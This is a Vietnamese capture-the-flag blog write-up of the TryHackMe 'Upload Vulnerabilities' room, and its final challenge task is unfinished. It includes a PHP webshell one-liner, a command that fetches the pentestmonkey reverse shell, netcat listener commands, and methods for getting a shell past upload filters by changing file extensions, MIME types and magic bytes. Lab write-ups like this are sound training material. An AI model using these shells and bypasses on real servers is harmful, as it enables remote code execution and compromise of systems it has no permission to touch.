[tryhackme] Upload Vulnerabilities

MuffinMuffin
17 min read

Task 1: Getting Started

  • Phần đầu giới thiệu về Hosts File: it allows you to map IP addresses to domain names locally without relying on a DNS server to resolve the IP address. (giúp mapping địa chỉ IP với domain name mà không cần thông qua DNS server để phân giải địa chỉ IP)

  • Đoạn giới thiệu cũng đề cập tới thuật ngữ Vhosting: một kỹ thuật cho phép một máy chủ web duy nhất phục vụ nhiều trang web khác nhau, bằng cách sử dụng 1 IP nhưng các tên miền khác nhau.

Ở máy tính của bạn (không phải máy ảo tryhackme), dùng quyền admin để mở hosts file.

  • On Linux and MacOS the hosts file can be found at /etc/hosts.

  • On Windows the hosts file can be found at C:\Windows\System32\drivers\etc\hosts

Mình sẽ dùng Notepad trên Windows.

Mở Notepad > Run as administrator > File > Open > paste C:\Windows\System32\drivers\etc\hosts để mở file

Ta add thêm dòng sau vào cuối Hosts File:

{target_IP} overwrite.uploadvulns.thm shell.uploadvulns.thm java.uploadvulns.thm annex.uploadvulns.thm magic.uploadvulns.thm jewel.uploadvulns.thm demo.uploadvulns.thm

sau đó Save lại.

  • Sau khi terminal máy ảo này trên tryhackme, nhớ xóa dòng này đi nhé.

Note*: If you find that you cannot access the websites, this is nearly always due to one of:*

A) Having duplicate entries in your host file

B) Having an anonymising VPN active alongside your TryHackMe VPN connection pack

Task 2: Introduction

Hiện nay thì chức năng Upload Files là một thành phần không thể thiếu với các ứng dụng web. Tuy nhiên chính chức năng này cũng tiềm ẩn nhiều nguy cơ, giả như nếu attackers upload một attack shell lên thì sẽ rất nguy hiểm. Nếu không giới hạn quyền tải lên server, attacker có thể dễ dàng truy xuất dữ liệu theo ý mình, dẫn đến việc tấn công XSS hay CSRF hoàn toàn có thể xảy ra.

Room này sẽ tập trung khai thác một số lỗ hổng trong quá trình xử lý file tải lên, bao gồm:

  • Ghi đè các file đã có trên server

  • Tải lên và thực thi Shell trên máy chủ

  • Bỏ qua bộ lọc phía máy khách

  • Bỏ qua nhiều loại bộ lọc phía máy chủ

  • Lừa kiểm tra xác thực loại nội dung

Task 3: General Methodology

Bước đầu tiên của mọi quá trình hacking luôn là Enumeration.

Xem qua source code của trang web cũng là một cách để kiểm tra xem liệu phía client có lớp lọc nào không. Ngoài ra, nếu ta quét các directories với các công cụ bruteforcer như Gobuster cũng là một cách hay để quan sát xem các tệp được tải lên sẽ đi về đâu.

sudo apt install gobuster là lệnh cài đặt Gobuster trên Linux.

Bên cạnh đó, ta cũng có thể can thiệp các requests với Burpsuite, hay dùng các extensions trên trình duyệt như Wappalyser để thực hiện quá trình Enumeration.

Task 4: Overwriting Existing Files

Thường thì khi thiết lập chức năng upload lên server, ta thực hiện nhiều bước kiểm tra nhằm đảm bảo các tệp hiện có trên server sẽ không bị ghi đè. Ví dụ, nếu tên tệp tải lên trùng với một tệp sẵn có trong hệ thống, một thông báo lỗi sẽ hiện lên và yêu cầu người dùng đặt một tên khác...

What is the name of the image file which can be overwritten?

Truy cập: overwrite.uploadvulns.thm

Ctrl + U để view page source:

Đáp án: mountains.jpg

Overwrite the image. What is the flag you receive?

Sau đó, ta chỉ cần lên mạng tải về 1 file ảnh .jpg gì đó về > Select và Upload lên là tìm được flag.

Task 5: Remote Code Execution

Vul này cho phép chúng ta thực thi mã tùy ý trên máy chủ. Remote code execution thông qua một lỗ hổng tải lên trong ứng dụng web thường được khai thác bằng cách tải lên một chương trình được viết bằng cùng ngôn ngữ với ngôn ngữ backend của trang web (thường là PHP, tuy nhiên, gần đây, các ngôn ngữ backend khác đã trở nên phổ biến hơn Python Django và Javascript dưới dạng Node.js)

Cần lưu ý rằng trong một ứng dụng có định tuyến (tức là một ứng dụng mà các tuyến được định nghĩa bằng lập trình thay vì được ánh xạ tới hệ thống tệp), phương pháp tấn công này trở nên phức tạp hơn nhiều và ít có khả năng xảy ra hơn.

Ví dụ:

  • Trong một ứng dụng không có định tuyến lập trình (truyền thống), URL example.com/about có thể ánh xạ trực tiếp đến tệp about.html trên hệ thống tệp.

  • Trong một ứng dụng có định tuyến lập trình, URL example.com/about có thể được định nghĩa để gọi một hàm trong mã nguồn mà hàm này sẽ quyết định nội dung nào cần hiển thị.

hai cách cơ bản để thực hiện khai thác RCE: webshells, và reverse/bind shells

Webshell: là một tệp được tải lên máy chủ, cho phép kẻ tấn công thực hiện các lệnh từ xa thông qua trình duyệt web. Webshell thường đơn giản hơn và dễ thực hiện, nhưng bị giới hạn trong các chức năng mà kẻ tấn công có thể thực hiện, vì chúng bị ràng buộc bởi ngôn ngữ lập trình của webserver (ví dụ: PHP, ASP).

Reverse/bind shell: Đây là loại shell phức tạp hơn, cho phép kẻ tấn công có quyền truy cập trực tiếp vào máy chủ từ xa thông qua một kết nối mạng. Reverse shell là khi máy chủ bị tấn công tự kết nối lại với máy tính của kẻ tấn công, còn bind shell là khi máy chủ mở một cổng để kẻ tấn công có thể kết nối vào.

Ví dụ cụ thể:

  • Webshell: Kẻ tấn công tải lên một tệp PHP có nội dung là ?php system($_GET['cmd']); ?. Khi truy cập vào tệp này qua trình duyệt, kẻ tấn công có thể thực thi lệnh bằng cách truyền cmd qua URL, ví dụ: http://example.com/uploads/webshell.php?cmd=ls.

  • Reverse Shell: Kẻ tấn công tải lên một script PHP mà khi được kích hoạt, sẽ kết nối trở lại với máy tính của kẻ tấn công và mở một shell (ví dụ: sử dụng netcat). Kẻ tấn công sau đó có thể điều khiển máy chủ từ xa.


THỰC HÀNH bằng Webshell

Chúng ta sẽ dử dụng công cụ Gobuster + một Dir-buster wordlist

Target domain: http://shell.uploadvulns.thm/

Chạy lệnh gobuster dir -u http://shell.uploadvulns.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Ta nhận thấy: có 2 dir -- resources và assets. Phỏng đoán các tệp ảnh sẽ được đưa vào trong resources.

Ta thử kiểm tra giả thuyết này bằng cách:

Đúng là file upload đang ở đây!

Dev đã không hề kiểm soát tốt dữ liệu đầu vào ở vị trí này. Vì vậy, khả năng cao dir này hoàn toàn có thể bị RCE.

  • Kiểm tra ngôn ngữ back-end:

Các ứng dụng web đều chứa vài file extension - thể hiện ngôn ngữ back-end của web đó. Ta có thể thử check với /index.php cho ngôn ngữ PHP

Ngoài ra, còn vài cách như upload trực tiếp 1 file PHP có nội dung như: <?php phpinfo(); ?> ,...

  • Simple Webshell - thực thi lệnh cmd

Ta tạo 1 tệp có nội dung sau:

<?php echo system($_GET["cmd"]); ?>

Upload tệp đó:

Giờ thì ta có thể hoàn toàn gõ lệnh ?cmd= được rồi đó

CÂU HỎI

  • Run a Gobuster scan on the website using the syntax from the screenshot above. What directory looks like it might be used for uploads?

\=> /resources

  • Get either a web shell or a reverse shell on the machine. What's the flag in the /var/www/ directory of the server?

Webshell

1, gõ lệnh ls%20/var/www (%20 tương đương dấu SPACE trong URL Encode) để hiện danh sách files có trong /var/www

2, Gõ lệnh cat%20/var/www/flag.txt để đọc FLAG thôi.

Reverse Shell

Dùng Pentest Monkey reverse shell (tải về bằng lệnh: wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php) và netcat.

Sau khi tải về, file php-reverse-shell.php sẽ được lưu trong thư mục hiện tại

1, Cần edit dòng 49 của php-reverse-shell.php

Đổi $ip thành địa chỉ của local. $port để nguyên cũng được.

2, chạy Netcat listener ở máy tấn công (local): nc -lvnp 1234

Điều này tạo 1 cổng mở (listener) để khi ta thao tác trên máy mục tiêu, nó sẽ gửi ngược lại tín hiệu qua cổng 1234 này.

3, Upload php-reverse-shell.php lên. Sau đó điều hướng nó để nó gửi request ngược lại qua link shell.uploadvulns.thm/resources/php-reverse-shell.php

Nếu thấy những thông số này trên terminal của máy tấn công thì kết nối reverse đã thành công!

4, Giờ thì gõ lệnh và truy xuất kết quả bình thường thôi!

Task 6: Filtering

Task này đề cập tới vấn đề filter của ứng dụng web để chống các file upload nguy hiểm.

Đầu tiên, ta đề cập tới 2 hai khái niệm: client-side filtering và server-side filtering.

1, Client-Side Script: là các đoạn mã chạy và xử lý thông tin phía client (JavaScript). Việc thực hiện filter cũng diễn ra trên máy client.

2, Server-Side Script: các đoạn mã chạy và xử lý thông tin phía server - database (PHP, sau này cải tiến hơn là C#, Node.js, Python, Ruby on Rails,...). Filter của server khó bypass hơn. Tuy nhiên, có thể thử các payload (miễn là vẫn tuân theo quy tắc của hệ thống), thì vẫn có khả năng payload sẽ được thực thi.

Dựa vào các lý thuyết trên, ta điểm qua các filtering khác nhau:

Extension Validation*:*

  • Phần mở rộng của tệp có thể được khai thác để tấn công File upload vuln. Các OS MS Windows vẫn dùng các đuôi này để phân biệt và thực thi các tệp.

  • Filtering với phần mở rộng thường ứng dụng cho hai mục đích: blacklist hoặc whitelist tệp

File Type Filtering:

  • MIME (Multipurpose Internet Mail Extension): Là một chuỗi ký tự mô tả loại nội dung của một tập tin. Loại MIME tuân theo định dạng <type>/<subtype>, ví dụ: "text/plain" cho văn bản đơn giản, "image/jpeg" cho ảnh JPEG, v.v.

  • Magic Number validation: Ví dụ, file PNG sẽ có nhưng bytes đầu tiên dạng: 89 50 4E 47 0D 0A 1A 0A.

File Length Filtering*:*

Ngăn chặn các tệp tin có kích thước lớn được tải lên (which is tiêu tốn tài nguyên của máy chủ).

File Name Filtering:

Như bài trên có đề cập, các files upload lên nên là độc nhất để tránh trường hợp ghi đè file sẵn có. Tên tệp cũng nên được làm sạch khỏi các "bad characters" (e.g. null bytes or forward slashes on Linux, as well as control characters such as ; and potentially unicode characters)

File Content Filtering*:*

Đây là loại lọc phức tạp hơn.

Tùy ngôn ngữ, ví dụ PHP trước phiên bản thứ năm, có thể bypass bằng null byte + tệp mở rộng hợp lệ + .php để thực thi mã độc.

Task 7: Bypassing Client-Side Filtering

Khởi đầu với filter đơn giản nhất: Client-Side

Có 4 cách đơn giản để bypass client-side file upload filter:

  1. Turn off Javascript in your browser: tắt JS đi thì filter khỏi chạy

  2. Intercept and modify the incoming page: can thiệp và mod những request tới bằng Burpsuite

  3. Intercept and modify the file upload: vẫn cho load page bình thường, chỉ can thiệp file upload

  4. Send the file directly to the upload point: dùng công cụ curl. Cú pháp:

curl -X POST -F "submit:<value>" -F "<file-parameter>:@<path-to-file>" <site>

phương pháp này yêu cầu biết chính xác các thông số của trang web.

THỰC HÀNH

Đây là trang web của chúng ta.

1, Check source code + Recon bằng Gobuster + wget monkey pentest + mở netcat listener:

Chưa thấy script thể hiện MIME Type ở đây. Nhưng dòng này có vẻ khả nghi

MIME Type: image.png

Recon dir bằng Gobuster:

ta thấy dir /images

Sau khi test thử với 1 ảnh .png thì đúng là ảnh được upload lên thư mục này

Tại phần này tui dùng reverse Shell nên: Nhớ wget monkey pentest và mở nc -lvnp 1234

2, bypass filter

  • Khởi động BurpSuite. Reload lại request > Do intercept > Forward cho tới khi thấy được script chứa MIME Type

  • xóa dòng đó và forward tới cuối cùng. Lúc này ta có thể upload mọi thể loại file mà không sợ bị whitelist filter nữa.

Lưu ý cực mạnh: về cơ bản thì cái JS script chứa MIME Type nó không trực tiếp ở trong main page. Ta cần phải xóa cái ^js$| (trong Intercept Client Rules)để nó đồng thời xóa luôn các file dạng JS

Upload thành công!

3, điều chỉnh monkey pentest:

Chỉnh Content-Type: text/x-php trong Intercept > Forward tới cuối cùng

4, Điều hướng về reverse shell

http://java.uploadvulns.thm/images/php-reverse-shell.php

Shell đã kết nối thành công với listener!

Giờ thì đơn giản là cat /var/www/flag.txt

Task 8: Bypassing Server-Side Filtering: File Extensions

Server-side filter sẽ không cho phép chúng ta xem + thay đổi code như client-side. Thay vào đó, chúng ta phải thực hiện test + build up rất nhiều test cases để có thể kiểm tra được filter này.

Ví dụ: một blacklist của server-side filtering:
<?php //Get the extension $extension = pathinfo($_FILES["fileToUpload"]["name"])["extension"]; //Check the extension against the blacklist -- .php and .phtml switch($extension){ case "php": case "phtml": case NULL: $uploadFail = True; break; default: $uploadFail = False; } ?>

Như đoạn mã trên, nó sẽ filter bất cứ tệp nào có dạng .php hoặc .phtml .

Theo Wikipedia của PHP (link), ngoài 2 dạng extensions đó, chúng ta còn có php3, .php4, .php5, .php7, .phps, .php-s, .pht.phar . Ta có thể thử các đuôi này để bypass.

Tuy nhiên, server lại không nhận diện được các đuôi trên là tệp PHP, như ví dụ dưới:

Ta vẫn có thể thử. It's worth to try!


Ta thử xem xét một ví dụ khác. Lần này ta tiếp cận hoàn toàn black-box (không có source code)

Ta thử upload một cách hợp lệ spaniel.jpg

Thử với shell.php thì không được

Trong ví dụ trước, chúng ta đã thấy rằng mã đang sử dụng hàm pathinfo() của PHP để lấy các ký tự cuối cùng sau dấu chấm (.), nhưng điều gì sẽ xảy ra nếu bộ lọc xử lý đầu vào hơi khác?

Hãy thử tải lên một tệp có tên là shell.jpg.php. Chúng ta đã biết rằng các tệp JPEG được chấp nhận, vậy nếu bộ lọc chỉ kiểm tra xem phần mở rộng .jpg có xuất hiện ở đâu đó trong đầu vào không thì sao?

Diễn giải cho đoạn code này kiểu:

CHẤP NHẬN FILE TỪ USER -- LƯU FILENAME VÀO BIẾN userInput NẾU STRING ".jpg" XUẤT HIỆN TRONG userInput: LƯU FILE ELSE: RETURN THÔNG BÁO ERROR

Thử làm và ta đã lưu file được! Điều hướng tới /uploads

OKKK giờ thì thực hành thôi!

WRITE-UP

Your flag is in /var/www/. The site you're accessing is annex.uploadvulns.thm.

1, truy cập vào annex.uploadvulns.thm

help > hiển thị ba lệnh:

  • select: chọn file

  • upload: tải lên file vừa chọn

  • chosen: hiển thị tên output của file vừa chọn

Tui upload thử cat.jpg > Successful

Nhưng mà không upload được shell.php

Page source cũng không có gì để view cả :<

Thử dirsearch bằng Gobuster xem sao...

/privacy có vẻ sus. Và yeah, đó là directory của các thư mục uploads :3

2, Dùng reverse Shell - đổi extension tệp thành .php5 (như đã nói ở trên, ngoài .php ra, còn rất nhiều đuôi tệp khác - tùy cấu hình máy chủ sẽ chấp nhận. Nên lập thành 1 cái test list để thử...)

Upload lại > Sucessfully

Kết nối thành công!

sau đó thì cat /var/www/flag.txt

Task 9: Bypassing Server-Side Filtering: Magic Numbers

Magic Number là một chuỗi ký tự hex, luôn ở đầu để xác định định dạng file. Biết được điều này, chúng ta có thể sử dụng magic numbers để đổi dạng các tệp tải lên, server chỉ đọc vài byte đầu tiên và so sánh chúng với blacklist / whitelist.

Tài liệu tham khảo về Magic Number: https://en.wikipedia.org/wiki/List_of_file_signatures

Mình sẽ chọn FF D8 FF DB

Mình có thể add dạng ASCII của ký tự này ÿØÿÛ trực tiếp vào đầu file, nhưng thường thì sẽ dễ hơn nếu có thể ghi bằng mã hex.

Bắt đầu, dùng lệnh file trong Linux để kiểm tra kiểu file

Quan sất thấy magic number có độ dài 4 bytes. Giờ mở webshell/reverse shell và add 4 ký tự ngẫu nhiên vào dòng đầu tiên.

Lưu file > Exit. Mở lại file bằng hexeditor (default on Kali)

Ta thấy A = 41

Giờ đổi thành FF D8 FF DB

Check lại dạng file lần nữa > image

Giờ thì upload và bypass thôi

WRITE-UP

Khỏi động magic.uploadvulns.thm

1, Recon + Gobuster

Chỉ có GIFS mới được upload.

Dựa trên List of file signatures, ảnh định dạng gif có 6 bytes - mình lấy 47 49 46 38 37 61

Chạy Gobuster để quét thư mục upload

gobuster dir -u http://magic.uploadvulns.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Có vẻ là thư mục /graphics. Tuy nhiên truy cập trực tiếp vào dir này thì bị Forbidden do không đủ quyền. OK thế thì đành mò tới vậy...

2, tải Pentest Monkey về + thay đổi 6 bytes đầu tiên của tệp .php + mở listener netcat

sudo nano php-reverse-shell.php > thêm AAAAAA

hexedit php-reverse-shell.php -> Đổi thành 47 49 46 38 37 61

nhớ đổi cả $ip nữa. Sau đó mở netcat nc -lvnp 1234

2, Upload lên

3, Kết nối về listener:

Và lấy được FLAG!

Task 10: Example Methodology

Thử thách tới là black-box file upload

1, Quan sát tổng thể.

  • Xác định ngôn ngữ + framework của web app (Wappalyzer or by BurpSuite)

  • Headers such as server or x-powered-by can be used to gain information about the server.

  • Tìm upload page

2, Tìm upload page

  • xem source code để tìm client-side filter

3, Upload như user bình thường. Sau đó

  • Gobuster để tìm dir

  • xác định xem loại file nào có thể upload lên?

  • -x trong gobuster khá hữu ích để tìm extensions của files. Ví dụ: -x php,txt,html công cụ này sẽ thêm .php, .txt, và .html vào mỗi từ trong danh sách từ payload được chọn

4, Thử upload file mã độc lên. Thông báo lỗi có thể cung cấp khá nhiều thông tin cho các bước tiếp theo

Giả sử file mã độc bị server chặn lại, có một số cách để xác định loại server-side filter nào được sử dụng:

  • Nếu file sai định dạng nhưng vẫn được update thành công tên-ảnh.định-dạng-sai thì có khả năng server đang sử dụng blacklist. Còn upload và fail thì có thể đang xài whitelist.

  • Thử up file đúng định dạng, nhưng đổi magic number thành định dạng sẽ bị server lọc. Nếu upload không thành công > đang dùng magic number filter.

  • Thử up file đúng định dạng, nhưng dùng BurpSuite đổi MIME Type. Nếu upload không thành công > MIME types filter

  • Việc liệt kê các bộ lọc độ dài tệp là một quá trình tải lên một tệp nhỏ, sau đó tải lên các tệp ngày càng lớn hơn cho đến khi bạn gặp phải bộ lọc. Tại thời điểm đó, bạn sẽ biết giới hạn chấp nhận được là bao nhiêu. Nếu may mắn, thông báo lỗi của lần tải lên ban đầu có thể nói rõ giới hạn kích thước là bao nhiêu. Hãy cẩn thận vì giới hạn độ dài tệp nhỏ có thể ngăn bạn tải lên reverse shell mà chúng ta đã sử dụng cho đến nay

Task 11: Challenge

Khởi động jewel.uploadvulns.thm.

1, Enum bằng Gobuster

Có mỗi trang /admin này là vào được

Xem source code

Có 1 ảnh tĩnh ở /assets/title.svg

Ta còn đọc được là chỉ file ảnh .jpeg mới upload lên được.

Upload file ảnh của ta.

Ta cũng được cung cấp 1 wordlist UploadVuln.txt.

Dùng wordlist đó với Gobuster với -x jpeg,jpg để tìm file ảnh trong /content

Nhận thấy ảnh các ảnh backgroup được lưu dưới tên /ABH.jpg, LKQ.jpg,..

Sau 1 hồi quét, ta thấy ảnh của mình trong /content

  • Bypass filter

Xem thử JavaScript source ở /upload.js thì thấy nó có 3 rules

//Check File Size: không được lớn quá 400KB

//Check Magic Number: "ÿØÿ" - tương đương của jpg và jpeg

//Check file extension: phải là .jpg hoặc .jpeg

0
Subscribe to my newsletter

Read articles from Muffin directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Muffin
Muffin

I've just started to learn pentesting from the start. I like cats.